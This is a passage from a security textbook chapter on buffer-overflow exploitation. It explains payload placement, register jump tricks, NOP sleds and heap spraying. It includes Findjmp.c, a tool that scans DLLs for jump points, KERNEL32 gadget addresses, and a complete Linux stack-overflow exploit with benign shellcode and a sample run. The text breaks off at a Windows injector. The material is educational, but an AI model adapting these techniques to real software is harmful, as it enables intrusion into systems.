machine.This is machine-and target-dependent.The whole point of the injection
vector is to get the payload to execute.The payload, on the other hand, is a lot
like a virus: it should work anywhere, anytime, regardless of how it was injected
into the remote machine. If your payload does not operate this way, it is not
clean. If you wrote buffer overflows for the military, they would want clean payloads,
and that is a good approach to take to your code. Let&iexcl;&brvbar;s explore what it takes
to code a clean payload.
Determining the Location of the Payload
Your payload does not have to be located in the same place as your injection
vector; commonly, it is just easier to use the stack for both.When you use the
stack for both payload and injection vector, however, you have to worry about
the size of payload and how the injection vector interacts with the payload. For
example, if the payload starts before the injection vector, you need to make sure
they don&iexcl;&brvbar;t collide. If they do, you have to include a jump in the payload to jump
over the injection code &iexcl;X then the payload can continue on the other side of
the injection vector. If these problems become too complex, then you need to
put your payload somewhere else.
All programs will accept user input and store it somewhere.Any location in
the program where you can store a buffer becomes a candidate for storing a payload.
The trick is to get the processor to start executing that buffer.
Some common places to store payloads include:
 Files on disk which are then loaded into memory
 Environment variables controlled by a local user
 Environment variables passed within a Web request (common)
 User-controlled fields within a network protocol
Once you have injected the payload, the task is simply to get the instruction
pointer to load the address of the payload.The beauty of storing the payload
somewhere other than the stack is that amazingly tight and difficult-to-exploit
buffer overflows suddenly become possible. For example, you are free from constraints
on the size of the payload. A single off-by-one error can still be used to
take control of a computer.
www.syngress.com
270 Chapter 8 &iexcl;E Buffer Overflow
Methods to Execute Payload
The following sections explain the variety of techniques that can be used to execute
payload.We focus on ways to decide what to put into the saved EIP on the
stack to make it finally point to our code.Often, there is more to it than just
knowing the address our code is at, and we will explore techniques to find alternate,
more portable ways.
Direct Jump (Guessing Offsets)
The direct jump means that you have told your overflow code to jump directly to
a specific location in memory. It uses no tricks to determine the true location of
the stack in memory.The downfalls of this approach are twofold. First, the address
of the stack may contain a null character, so the entire payload will need to be
placed before the injector. If this is the case, it will limit the available space for
your payload. Second, the address of your payload is not always going to be the
same.This leaves you guessing the address to you wish to jump.This technique,
however, is simple to use. On UNIX machines, the address of the stack often
does not contain a null character, making this the method of choice for UNIX
overflows. Also, there are tricks that make guessing the address much easier. (See
the &iexcl;§NOP Sled&iexcl;&uml; section later in the chapter.) Lastly, if you place your payload
somewhere other than on the stack, the direct jump becomes the method of
choice.
Blind Return
The ESP register points to the current stack location.Any ret instruction will
cause the EIP register to be loaded with whatever is pointed to by the ESP.This
is called popping. Essentially the ret instruction causes the topmost value on the
stack to be popped into the EIP, causing the EIP to point to a new code address. If
the attacker can inject an initial EIP value that points to a ret instruction, the
value stored at the ESP will be loaded into the ESI.
A whole series of techniques use the processor registers to get back to the
stack.There is nothing you can directly inject into the instruction pointer that
will cause a register to be used for execution as shown in Figure 8.20. Obviously,
you must make the instruction pointer point to a real instruction as shown in
Figure 8.21.
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 271
Pop Return
If the value on the top of the stack does not point to an address within the
attacker&iexcl;&brvbar;s buffer, the injected EIP can be set to point to a series of pop instructions,
followed by a ret as shown in Figure 8.22.This will cause the stack to be
popped a number of times before a value is used for the EIP register.This works
if there is an address near the top of the stack that points to within the attacker&iexcl;&brvbar;s
buffer.The attacker just pops down the stack until the useful address is reached.
This method was used in at least one public exploit for Internet Information
Server (IIS).
www.syngress.com
Figure 8.20 The Instruction Pointer Cannot Go Directly to a Register
Stack
Register
Register
Injected Address
Register
CPU
Instruction Pointer
Figure 8.21 The Instruction Pointer Must Point to a Real Instruction
Stack
Register
Register
Injected Address
Register
CPU
PUSH EAX
RET
or
CALL EAX
Instruction Pointer
272 Chapter 8 &iexcl;E Buffer Overflow
- pop EAX 58
- pop EBX 5B
- pop ECX 59
- pop EDX 5A
- pop EBP 5D
- pop ESI 5E
- pop EDI 5F
- ret C3
Call Register
If a register is already loaded with an address that points to the payload, the
attacker simply needs to load the EIP to an instruction that performs a &iexcl;§call
EDX&iexcl;&uml; or &iexcl;§call EDI&iexcl;&uml; or equivalent (depending on the desired register).
- call EAX FF D0
- call EBX FF D3
- call ECX FF D1
- call EDX FF D2
- call ESI FF D6
- call EDI FF D7
- call ESP FF D4
A search of process memory found the following useful pairs (in
KERNEL32.DLL):
www.syngress.com
Figure 8.22 Using a Series of pops and a ret To Reach a Useful Address
Popped Stack
(Gone)
POP
POP
RET
Register
Register
Injected Address
Register
CPU
Instruction Pointer
Stack
Buffer Overflow &iexcl;E Chapter 8 273
77F1A2F7 FF D0 call EAX
77F76231 FF D0 call EAX
7FFD29A7 FF D0 call EAX ; a whole block of this pattern exists
7FFD2DE3 FF E6 jmp ESI ; a whole block of this pattern exists
7FFD2E27 FF E0 jmp EAX ; a whole block of this pattern exists
77F3D793 FF D1 call ECX
77F7CEA7 FF D1 call ECX
77F94510 FF D1 call ECX
77F1B424 FF D3 call EBX
77F1B443 FF D3 call EBX
77F1B497 FF D3 call EBX
77F3D8F3 FF D3 call EBX
77F63D01 FF D3 call EBX
77F9B14F FF D4 call ESP
77F020B0 FF D6 call ESI
77F020D5 FF D6 call ESI
77F02102 FF D6 call ESI
77F27CAD FF D6 call ESI
77F27CC2 FF D6 call ESI
77F27CDB FF D6 call ESI
77F01089 FF D7 call EDI
77F01129 FF D7 call EDI
77F01135 FF D7 call EDI
These pairs can be used from almost any normal process. Since these are part
of the kernel interface DLL, they will normally be at fixed addresses, which you
can hard-code. However, they will likely differ between Windows versions of, and
possibly depending on which Service Pack is applied.
Push Return
Only slightly different from the Call Register method, the Push Return method
also uses the value stored in a register. If the register is loaded but the attacker
cannot find a call instruction, another option is to find a &iexcl;§push <register>&iexcl;&uml; followed
by a return.
- push EAX 50
- push EBX 53
www.syngress.com
274 Chapter 8 &iexcl;E Buffer Overflow
- push ECX 51
- push EDX 52
- push EBP 55
- push ESI 56
- push EDI 57
- ret C3
Kernel32.DLL contains the following useful pairs:
77F3FD18 push EDI
77F3FD19 ret
(?)
77F8E3A8 push ESP
77F8E3A9 ret
Findjmp&iexcl;XFinding Useful Jump Points
We have written a small program (Figure 8.23) that takes a DLL and a register
name from the command line and searches the DLL for any useable address that
contains a redirection to that register. It supports Push Return, Call Register, and
Jump Register.
This finds useful jump points in a DLL. Once you overflow a buffer, it is
likely that you will find a reference to your code by looking in the various registers.
This program will find addresses suitable to overwrite the EIP that will
return to your code.
It should be easy to modify this to search for other good jump points, or specific
code patterns within a DLL.
It currently supports looking for:
1. jmp reg
2. call reg
3. push reg / ret
All three options result in the same thing: the EIP being set to reg.
It also supports the following registers:
 EAX
 EBX
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 275
 ECX
 EDX
 ESI
 EDI
 ESP
 EBP
This should be compiled as a console application under and WIN32 environment,
the complete application can be found on the Solutions site for this book
(www.syngress.com/solutions).
Figure 8.23 Findjmp.c
/*
Findjmp.c
written by Ryan Permeh - ryan@eeye.com
http://www.eeye.com
*/
#include <Windows.h>
#include <stdio.h>
void usage();
DWORD GetRegNum(char *reg);
void findjmp(char *dll,char *reg);
/*This finds useful jump points in a dll. Once you overflow a buffer,
by looking in the various registers, it is likely that you will find a
reference to your code. This program will find addresses of suitable
instructions that will return to your code. */
int main(int argc, char **argv)
{
char dll[512], //holder for the dll to look in
reg[512]; // holder for the register
www.syngress.com
Continued
276 Chapter 8 &iexcl;E Buffer Overflow
if(argc<2) usage();
strncpy(dll,argv[1],512);
strncpy(reg,argv[2],512);
findjmp(dll,reg);
}
This prints the usage information.
void usage()
{
printf("FindJmp usage\nfindjmp DLL reg\nEx: findjmp KERNEL32.DLL
ESP\n");
exit (0);
}
/*The findjmp function is the workhorse. It loads the requested dll,
and searches for specific patterns for jmp reg, push reg ret, and call
reg.*/
void findjmp(char *dll,char *reg)
{
/* patterns for jmp ops */
BYTE jmppat[8][2]= {{0xFF,0xE0},{0xFF,0xE3},{0xFF,0xE1},{0xFF,0xE2},
{0xFF,0xE6},{0xFF,0xE7},{0xFF,0xE4},{0xFF,0xE5}};
/* patterns for call ops */
BYTE callpat[8][2]= {{0xFF,0xD0},{0xFF,0xD3},{0xFF,0xD1},{0xFF,0xD2},
{0xFF,0xD6},{0xFF,0xD7},{0xFF,0xD4},{0xFF,0xD5}};
/* patterns for pushret ops */
BYTE pushretpat[8][2]= {{0x50,0xC3},{0x53,0xC3},{0x51,0xC3},{0x52,0xC3},
{0x56,0xC3},{0x57,0xC3},{0x54,0xC3},{0x55,0xC3}};
/*base pointer for the loaded DLL*/
HMODULE loadedDLL;
www.syngress.com
Figure 8.23 Continued
Buffer Overflow &iexcl;E Chapter 8 277
/*current position within the DLL */
BYTE *curpos;
/* decimal representation of passed register */
DWORD regnum=GetRegNum(reg);
/*accumulator for addresses*/
DWORD numaddr=0;
/*check if register is useable*/
if(regnum == -1)
{
/*it didn't load, time to bail*/
printf("There was a problem understanding the
register.\n"\
"Please check that it is a correct IA32 register name\n"\
"Currently supported are:\n "\
"EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP\n"\
);
exit(-1);
}
loadedDLL=LoadLibraryA(dll);
/* check if DLL loaded correctly*/
if(loadedDLL == NULL)
{
/*it didn't load, time to bail*/
printf("There was a problem Loading the requested
DLL.\n"\
"Please check that it is in your path and readable\n" );
exit(-1);
}
www.syngress.com
278 Chapter 8 &iexcl;E Buffer Overflow
else
{
/*we loaded the dll correctly, time to scan it*/
printf("Scanning %s for code useable with the %s register\n",
dll,reg);
/*set curpos at start of DLL*/
curpos=(BYTE*)loadedDLL;
__try
{
while(1)
{
/*check for jmp match*/
if(!memcmp(curpos,jmppat[regnum],2))
{
/* we have a jmp match */
printf("0x%X\tjmp %s\n",curpos,reg);
numaddr++;
}
/*check for call match*/
else if(!memcmp(curpos,callpat[regnum],2))
{
/* we have a call match */
printf("0x%X\tcall %s\n",curpos,reg);
numaddr++;
}
/*check for push/ret match*/
else if(!memcmp(curpos,pushretpat[regnum],2))
{
/* we have a pushret match */
printf("0x%X\tpush %s &iexcl;V"\
" ret\n",curpos,reg);
numaddr++;
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 279
}
curpos++;
}
}
__except(1)
{
printf("Finished Scanning %s for code useable with"\
" the %s register\n",dll,reg);
printf("Found %d usable addresses\n",numaddr);
}
}
}
DWORD GetRegNum(char *reg)
{
DWORD ret=-1;
if(!stricmp(reg,"EAX"))
{
ret=0;
}
else if(!stricmp(reg,"EBX"))
{
ret=1;
}
else if(!stricmp(reg,"ECX"))
{
ret=2;
}
else if(!stricmp(reg,"EDX"))
{
ret=3;
}
else if(!stricmp(reg,"ESI"))
www.syngress.com
280 Chapter 8 &iexcl;E Buffer Overflow
{
ret=4;
}
else if(!stricmp(reg,"EDI"))
{
ret=5;
}
else if(!stricmp(reg,"ESP"))
{
ret=6;
}
else if(!stricmp(reg,"EBP"))
{
ret=7;
}
/*return our decimal register number*/
return ret;
}
What Is an Offset?
Offset is a term used primarily in local buffer overflows. Since multi-user
machines are traditionally UNIX-based, we have seen the word offset used a lot in
UNIX-based overflows. On a UNIX machine, you typically have access to a
compiler&iexcl;Xand the attacker usually compiles his or her exploit directly on the
machine he or she intends to attack. In this scenario, the attacker has some sort of
user account and usually wishes to obtain root.The injector code for a local
exploit sometimes calculates the base of its own stack&iexcl;Xand assumes that the program
being attacked has the same base. For convenience, the attacker can then
specify the offset from this address for a Direct Jump. If everything works properly,
the base+offset value of the attacking code will match that of the victim code.
No Operation (NOP) Sled
If you are using a direct address when injecting code, you will be left with the
burden of guessing exactly where your payload is located in memory, which is
next to impossible.The problem is that your payload will not always be in the
exact same place. Under UNIX, it is common that the same software package is
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 281
recompiled on different systems, different compilers, and different optimization
settings What works on one copy of the software may not work on another. So,
to minimize this effect and decrease the required precision of a smash, we use the
No Operation (NOP) Sled.The idea is simple.A NOP is an instruction that does
nothing; it only takes up space (Incidentally, the NOP was originally created for
debugging). Since the NOP is only a single byte long, it is immune to the problems
of byte ordering and alignment issues.
The trick involves filling our buffer with NOPs before the actual payload. If
we incorrectly guess the address of the payload, it will not matter, as long as we
guess an address that lands somewhere on a NOP. Since the entire buffer is full of
NOPs, we can guess any address that lands in the buffer. Once we land on a
NOP, we will begin executing each NOP.We slide forward over all the NOPs
until we reach our actual payload.The larger the buffer of NOPs, the less precise
we need to be when guessing the address of our payload.
Designing Payload
Payload is very important. Once the payload is being executed, there are many
tricks for adding functionality.This can be one of the most rewarding and creative
components of an exploit.
Coding the Payload
I don&iexcl;&brvbar;t believe in doing things the hard way. Most of the exploits you see published
include wild blocks of unidentifiable machine code. I don&iexcl;&brvbar;t like this.There
is a far better way to encode payloads: simply write them in C, C++, or inline
assembly, and then copy the compiled code directly into your payload. Integrating
assembly and C is easy to do using most compilers&iexcl;XI call it the fusion technique.
Let&iexcl;&brvbar;s explore this a bit further.
The Fusion Technique is just a simpler way to encode and compile assembly
language and perform unconventional tricks. One of these tricks involves
injecting code into other process spaces.Windows NT has established ways to
accomplish this if for authenticated users. If you are not an authenticated user,
you can still accomplish this through a buffer overflow. Either way, you are
injecting code into a remote process space.
Heap Spraying
During research into exploitation of the .IDA IIS 4/5/6 vulnerability, we came
across a strange situation.We were very limited as to which addresses we could
reach with our overflowed EIP.The .IDA vulnerability was a buffer overflow in a
www.syngress.com
282 Chapter 8 &iexcl;E Buffer Overflow
wide string operation. In other words, it took a normal string,&iexcl;§AAAA&iexcl;&uml;
(hex 0x41414141), and converted it to a wide character string (hex
0x0041004100410041).This put us in a strange position as there was no code
loaded at any address starting with a 0x00.This meant that the traditional way of
getting to our payload code via a jmp ESP or jmp register would not work. Also,
it had the unfortunate effect of putting null bytes every other byte throughout
our payload code.To overcome this problem, we used a new technique called
&iexcl;§forcing the heap,&iexcl;&uml; which is a type of heap violation. General heap attacks will be
covered later in this chapter.This differs from a normal heap attack, since we did
not overflow on the heap, but rather on the stack.This technique has proven very
useful for us in the exploitation of wide character overflows in other circumstances
as well.
When we looked at the memory addresses to which we had access, namely
0x00aa00bb (where we controlled aa and bb), we noticed that IIS had its heap in
that address range.Whenever a request was given to IIS, it would store sessionspecific
data in the heap.One of the things that we found was that at points there
were specific HTTP environment variables supplied by the user in this memory
range. However, there were none within the direct range over which we had
control. Spraying the heap involved creating a type of NOP sled on the heap,
then using a direct jump onto the heap.This allowed us to overflow the stack and
take control of the EIP by referencing directly into the heap, then execute the
code directly from the heap.
One of the benefits of this exploitation technique is that by using a different
method of exploitation, we were able to avoid having nulls inserted into our payload
code by the wide copy, and we had a very large amount of payload space
available to us.This technique was also beneficial because it did not require specific
knowledge of any jump offsets in any loaded DLL because it directly referenced
the heap memory.
The downside of this code is that it required quite a large NOP sled to get
our code aligned on the heap at an address we could reliably use.
A different exploitation technique, using %u (Unicode encoding) was developed
by a Japanese security researcher named hsj.This technique allows all 4
bytes of the EIP to be controlled, resulting in a more traditional buffer overflow
technique.This just goes to show that there is often more than one way to attack
a problem.This type of encoding is specific to IIS, and so its use works well here,
but the general heap spraying is useful in many wide character overflow scenarios,
even when encoding is not possible.
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 283
Performing the Exploit on Linux
The popularity of Linux has grown phenomenally in recent times. Despite
having complete source code for auditing and an army of open source developers,
bugs like this still show up. However, overflows often reside in code that is
not directly security related because the code may be executing in the context of
your user. For this example, however, we are focusing on the application of techniques
that can be used in numerous situations, some of which may be security
related.
For this example we will develop a simple Linux exploit to write a string to
screen. It acts like a simple C program using write().
First let&iexcl;&brvbar;s create a simple program to accomplish this:
-----write.c------
int main()
{
write(1,"EXAMPLE\n",10);
}
-----write.c------
Now paste that into a file called write.c, then compile it with GCC and
execute it.
bash$ gcc write.c -o example --static
bash$ ./example
EXAMPLE
bash$
Simple enough. Now we want to see what exactly is going on. So we use the
gdb utility, which has more features than you could possibly imagine. If you know
them all, you really need another hobby.We&iexcl;&brvbar;re going to stick with the basic features.
First we open up our example program:
---------------------------------
bash$ gdb ./example
GNU gdb 5.1
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are welcome to change it and/or
www.syngress.com
284 Chapter 8 &iexcl;E Buffer Overflow
distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb)
---------------------------------
Your version may be slightly different but it shouldn&iexcl;&brvbar;t matter; all the features
we will use will almost without a doubt be in your version of gdb.
We want to see the code in the main() function, specifically the code that calls
write(). So to do this we type disassemble main from the prompt.The disassemble
command just shows the function code in the assembly language of the
architecture we&iexcl;&brvbar;re operating on. For our example, it&iexcl;&brvbar;s Intel x86.
(gdb) disas main
Dump of assembler code for function main:
0x80481e0 <main>: push %EBP
0x80481e1 <main+1>: mov %ESP,%EBP
0x80481e3 <main+3>: sub $0x8,%ESP
0x80481e6 <main+6>: sub $0x4,%ESP
0x80481e9 <main+9>: push $0x9
0x80481eb <main+11>: push $0x808e248
0x80481f0 <main+16>: push $0x1
0x80481f2 <main+18>: call 0x804cc60 <__libc_write>
0x80481f7 <main+23>: add $0x10,%ESP
0x80481fa <main+26>: leave
0x80481fb <main+27>: ret
End of assembler dump.
(gdb)
The following is the actual code that runs write.We push the arguments to
the write() function in reverse order onto the stack. First we type push $0x9( $0x
signifies hexadecimal in gdb), where the value 9 represents the length of our
string &iexcl;§EXAMPLE\n&iexcl;&uml;.Then we type push $0x808e248, which pushes the
address of the string &iexcl;§EXAMPLE\n&iexcl;&uml; onto the stack.To see what&iexcl;&brvbar;s at that address,
we can type the following from the (gdb) prompt: x/s 0x808e248.The final step
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 285
before calling write is to push the file descriptor onto the stack; in this case it&iexcl;&brvbar;s 1,
or standard output. Now we call write.
0x80481e9 <main+9>: push $0x9
0x80481eb <main+11>: push $0x808e248
0x80481f0 <main+16>: push $0x1
0x80481f2 <main+18>: call 0x804cc60 <__libc_write>
Let&iexcl;&brvbar;s see what write is doing. Do a disas __libc_write at the gdb prompt.You
should see something similar to the following.
(gdb) disas __libc_write
Dump of assembler code for function __libc_write:
0x804cc60 <__libc_write>: push %EBX
0x804cc61 <__libc_write+1>: mov 0x10(%ESP,1),%EDX
0x804cc65 <__libc_write+5>: mov 0xc(%ESP,1),%ECX
0x804cc69 <__libc_write+9>: mov 0x8(%ESP,1),%EBX
0x804cc6d <__libc_write+13>: mov $0x4,%EAX
0x804cc72 <__libc_write+18>: int $0x80
0x804cc74 <__libc_write+20>: pop %EBX
0x804cc75 <__libc_write+21>: cmp $0xfffff001,%EAX
0x804cc7a <__libc_write+26>: jae 0x8052bb0 <__syscall_error>
0x804cc80 <__libc_write+32>: ret
End of assembler dump.
The initial &iexcl;§push %EBX&iexcl;&uml; is not really important to us, write is just saving on
the stack because we&iexcl;&brvbar;re going to need to change EBX, when we&iexcl;&brvbar;re done we can
get the value back by doing a &iexcl;§pop %EBX.&iexcl;&uml;We want to focus on the four mov
commands and the &iexcl;§int $0x80.&iexcl;&uml;The mov command just moves data. In this case
it&iexcl;&brvbar;s moving the data we previously pushed onto the stack in main.
To set up a write call, we first put our syscall number into the %EAX register.
When we execute int $0x80, the operating system looks at EAX and then runs
the code for the specified syscall.The write syscall is syscall number 4.The following
file will give a list of the available syscalls:&iexcl;§/usr/include/asm/unistd.h&iexcl;&uml;
0x804cc6d <__libc_write+13>: mov $0x4,%EAX
0x804cc72 <__libc_write+18>: int $0x80
www.syngress.com
286 Chapter 8 &iexcl;E Buffer Overflow
So let&iexcl;&brvbar;s sum up what we now know:We know that write needs three arguments,
a length of the data being written, the address of the string we want to
write, and the destination of our write (the file descriptor).We also now know
that the string length, 9 in this case, has to be in the EDX register, the address of
the string we want to write has to be in the ECX register, and the file descriptor
has to be in the EBX.
So basically our simple write() without any error handling does this:
mov $0x9,%EDX
mov 0x808e248,%ECX
mov $0x1,%EBX
mov $0x4,%EAX
int $0x80
So now we know what a write looks like in assembly we can make our shellcode.
The only problem is the second operand sequence, or to be specific,&iexcl;§mov
0x808e248,%ECX.&iexcl;&uml;The problem with this is that we can&iexcl;&brvbar;t have the address of
the string without it being in memory; and without the address, we can&iexcl;&brvbar;t get to
the string. In this case we do a jmp/call: when you execute a call, the address of
the next instruction is pushed onto the stack. for example, if we do the following:
jump <string>
code:
pop %ECX
string:
call <code>
"our string\n"
The call pushes the address of the next instruction onto the stack (the next
instruction down is actually a string). But the call actually doesn&iexcl;&brvbar;t know the difference.
So now the address of our string\n is on top of the stack. After the jump
we&iexcl;&brvbar;re at the pop %ECX instruction.The pop instruction just pops the top item off
of the stack into the specified register, in this case ECX. Now we have the
address of our string\n in the ECX.The last thing we need to do is verify that the
registers are clean.We do this by XORing or SUBing them out.We&iexcl;&brvbar;ve chosen
XOR because it will always zero out a register and makes for very compact code
and we need to zero out our registers so that we can work with a clean register.
Our syscalls use the low bytes of our registers for their arguments, so by zeroing
registers out, we can work with only what we need. Our final shellcode is:
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 287
jump string
code:
pop %ECX
xor %EBX, %EBX
xor %EDX, %EDX
xor %EAX, %EAX
mov $0x9,%EDX
mov $0x1,%EBX
mov $0x4,%EAX
int $0x80
string:
call code
"EXAMPLE\n"
Now that we have our shellcode ready we need to exploit the example program
so it redirects its flow of execution into our shellcode.This can be done by
overwriting the saved EIP with the address of our shellcode. So when bof()
attempts to return (ret) to main, it will pop the saved EIP and attempt a jmp to the
address specified there. But where in memory will our shellcode be located? More
specifically, what address should we choose to overwrite the saved EIP with?
When fread reads the data from the file it will place it into on the stack, char
buffer[8] to be specific. So we know that the payload we will put into the file will
end up on stack.With Unices, the stack will start at the same address for every
program. All we have to do is write a test program to get the address from the
start of the stack.
When a function finishes, it places its return value into the EAX, so the
calling function knows if the function&iexcl;&brvbar;s execution was successful.
$ cat ret.c
int main()
{
return(0);
}
$ gcc ret.c -o ret
$ gdb ./ret
(gdb) disas main
Dump of assembler code for function main:
www.syngress.com
288 Chapter 8 &iexcl;E Buffer Overflow
0x8048430 <main>: push %EBP
0x8048431 <main+1>: mov %ESP,%EBP
0x8048433 <main+3>: mov $0x0,%EAX <---- here it is
0x8048438 <main+8>: pop %EBP
0x8048439 <main+9>: ret
0x804843a <main+10>: mov %ESI,%ESI
0x804843c <main+12>: nop
0x804843d <main+13>: nop
0x804843e <main+14>: nop
0x804843f <main+15>: nop
End of assembler dump.
(gdb)
So instead of doing a return(value), we skip it and put our ESP into EAX, that
way we can assign our ESP to a variable.
Here&iexcl;&brvbar;s the code to get our ESP:
-----------------get_ESP.c--------------
unsigned long get_ESP(void)
{
__asm__("movl %ESP,%EAX");
}
int main()
{
printf("ESP: 0x%x\n", get_ESP());
return(0);
}
-----------------get_ESP.c--------------
Now that we know where the stack starts, how can we exactly pinpoint
where our shellcode is going to be on the stack? Simple: we don&iexcl;&brvbar;t!
We just &iexcl;§pad&iexcl;&uml; our shellcode to increase its size so we can make a reasonable
guess.This is a type of NOP sled. In this case since we XOR all the registers at
the beginning of our payload we will need we can use operands that work with
those, as long as they don&iexcl;&brvbar;t attempt to access memory directly. For example the
operand inc %EAX, is the hex byte value 0x41, all it does is increment the value
of the EAX by one. Our shellcode does use the EAX but we clean it up first by
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 289
using XOR. So if we inc %EAX before the first operand of our shellcode, jmp,
everything will still work fine. In fact we can inc %EAX just about as much as
we want to. In this case,&iexcl;§inc %EAX&iexcl;&uml; is equivalent to a NOP. So we&iexcl;&brvbar;ll make our
shellcode 1000 bytes and pad everything up to the shellcode with 0x41, or &iexcl;&uml;inc
%EAX.&iexcl;&uml;
The OFFSET defined in the exploit is just a guessed area where our shellcode
should be. So in this case we try &iexcl;§ESP+1500.&iexcl;&uml;
Here&iexcl;&brvbar;s our exploit and final shellcode:
#include <stdlib.h>
#include <stdio.h>
/***** Shellcode dev with GCC *****/
int main() {
__asm__("
jmp string # jump down to <string:>
This is where the actual payload begins. First we clear the registers we will be
using so the data in them doesn&iexcl;&brvbar;t interfere with our shellcode&iexcl;&brvbar;s execution code:
xor %EBX, %EBX
xor %EDX, %EDX
xor %EAX, %EAX
# Now we are going to set up a call to the write
# function. What we are doing is basically:
# write(1,EXAMPLE!\n,9);
# Syscall reference: /usr/include/asm/unistd.h
#
# write : syscall 4
#
Nearly all syscalls in Linux need to have their arguments in registers, the
<write> syscall needs the following:
 ECX:Address of the data being written
 EBX: File descriptor, in this case stdout
 EDX: Length of data
www.syngress.com
290 Chapter 8 &iexcl;E Buffer Overflow
Now we move the file descriptor we want to write to into EBX. In this case
it&iexcl;&brvbar;s 1, or STDOUT:
popl %ECX # %ECX now holds the address of our string
mov $0x1, %EBX
Next we move the length of the string into the lower nibble of the %EDX
register:
movb $0x09, %dl
Before we do an <int 80> and trigger the syscall execution, we need to let
the OS know which syscall we want to execute.We do this by placing the syscall
number into the lower byte of the %EAX register, %al:
movb $0x04, %al
Now we trigger the operating system to execute whatever syscall is provided
in %al.
int $0x80
The next syscall we want to execute is <exit>, or #syscall 1. Exit doesn&iexcl;&brvbar;t need
any arguments for our purpose here, so we just interrupt and get it over with.
movb $0x1, %al
int $0x80
string:
call code
A call pushes the address of the next instruction onto the stack and then does
a jmp to the specified address. In this case the next instruction after <call code>
is actually the location of our string EXAMPLE. So by doing a jump and then a
call, we can get an address of the data in which we&iexcl;&brvbar;re interested. So now we redirect
the execution back up to <code:>
.string \"EXAMPLE\n\"
");
Here is our complete exploit:
/****** Shellcode dev with GCC *****/
#include <stdlib.h>
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 291
#include <stdio.h>
char shellcode[] =
"\xeb\x16" /* jmp string */
"\x31\xdb" /* xor %EBX, %EBX */
"\x31\xd2" /* xor %EDX, %EDX */
"\x31\xc0" /* xor %EAX, %EAX */
"\x59" /* pop %ECX */
"\xbb\x01\x00\x00\x00" /* mov $0x1,%EBX */
"\xb2\x09" /* mov $0x9,%dl */
"\xb0\x04" /* mov $0x04,%al */
"\xcd\x80" /* int $0x80 */
"\xb0\x01" /* mov $0x1, %al */
"\xcd\x80" /* int $0x80 */
"\xe8\xe5\xff\xff\xff" /* call code */
"EXAMPLE\n"
;
#define VULNAPP "./bof"
#define OFFSET1500
unsigned long get_ESP(void)
{
__asm__("movl %ESP,%EAX");
}
main(int argc, char **argv)
{
unsigned long addr;
FILE *badfile;
char buffer[1024];
fprintf(stderr, "Using Offset: 0x%x\nShellcode Size:
%d\n",addr,sizeof(shellcode));
www.syngress.com
292 Chapter 8 &iexcl;E Buffer Overflow
addr = get_ESP()+OFFSET;
/* Make exploit buffer */
memset(&buffer,0x41,1024);
buffer[12] = addr & 0x000000ff;
buffer[13] = (addr & 0x0000ff00) >> 8;
buffer[14] = (addr & 0x00ff0000) >> 16;
buffer[15] = (addr & 0xff000000) >> 24;
memcpy(&buffer[(sizeof(buffer) &iexcl;V
sizeof(shellcode))],shellcode,sizeof(shellcode));
/* put it in badfile */
badfile = fopen("./badfile","w");
fwrite(buffer,1024,1,badfile);
fclose(badfile);
}
Here is a sample run of the exploit:
sh-2.04# gcc sample4.c -o sample4
sh-2.04# gcc exploit.c -o exploit
sh-2.04# ./exploit
Using Offset: 0x8048591
Shellcode Size: 38
sh-2.04# od -t x2 badfile
0000000 4141 4141 4141 4141 4141 4141 fc04 bfff
0000020 4141 4141 4141 4141 4141 4141 4141 4141
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 293
*
0001720 4141 4141 4141 4141 4141 16eb db31 d231
0001740 c031 bb59 0001 0000 09b2 04b0 80cd 01b0
0001760 80cd e5e8 ffff 45ff 4158 504d 454c 000a
0002000
sh-2.04# ./sample4
EXAMPLE
sh-2.04#
In the first two lines beginning with &iexcl;§gcc&iexcl;&uml;, we&iexcl;&brvbar;re compiling our vulnerable
program, named sample4.c, and the program named exploit.c, that generates our
special &iexcl;§badfile.&iexcl;&uml; Running the exploit displays the offset for this system, and the
size of our payload. Behind the scenes, it also creates the &iexcl;§badfile,&iexcl;&uml; which the vulnerable
program will read. Next, we show the contents of the badfile using octal
dump (od), telling it to display in hex. By default, this version of od will abbreviate
repeated lines with a &iexcl;§*&iexcl;&uml;, so the 0x41 NOP sled between the lines 0000020
and 0001720 are not displayed. Finally, we show a sample run on the victim program,
sample4, which prints EXAMPLE. If you look back, you&iexcl;&brvbar;ll notice that that
never appears in the victim program, but rather in our exploit.This demonstrates
that the exploit attempt was successful.
Performing the Exploit on Windows NT
We will now examine the exploitation of this bug on Windows NT.Most of
these concepts apply to all win32 platforms, however there are some differences
between the platforms and not all techniques are applicable on every platform.
This example was written and tested using windows 2000, service pack 2. It may
work on other platforms, but due to the necessary simplicity of this exploit, I
won&iexcl;&brvbar;t guarantee it.Techniques to exploit multiple platforms will be covered in
more detail later in the chapter.
www.syngress.com
294 Chapter 8 &iexcl;E Buffer Overflow
Windows makes possible a wide variety of exploitation techniques; this
example exploit will examine a few of the more simple ways that you can exploit
this vulnerable program. Because of space constraints, we will be making this a
non-portable buffer overflow example.The code we will develop will run on
Windows 2000, SP2 out of the box, and recompile on just about any platform
with little trouble.
For this example we have chosen to pop up a message box and have it display
the text &iexcl;§HI&iexcl;&uml;.
We will cover all three aspects of exploitation:
 Creating an injector
 Building the exploit
 Finding a jump point
 Writing a simple payload
Creating the Injector
Since we know that this vulnerability reads in a buffer from a file, we assume that
our injection vector is file based.We also know that the vulnerable program is
reading in binary data.This gives us the benefit of not having to worry about
null bytes in our shellcode, because it is not a string operation overflow.This
enables us to create a simple injector that writes our shellcode to a file that we
can feed into our vulnerable program in order to inject our exploit code into the
buffer.
Writing code to write a file is pretty simple in Windows NT.We basically use
the CreateFile(), WriteFile() and CloseHandle() API calls to open the file, write our
code to it, then close the file. Our exploit code is contained in the buffer named
writeme.
The code to open the file and write it out looks like this:
//open the file
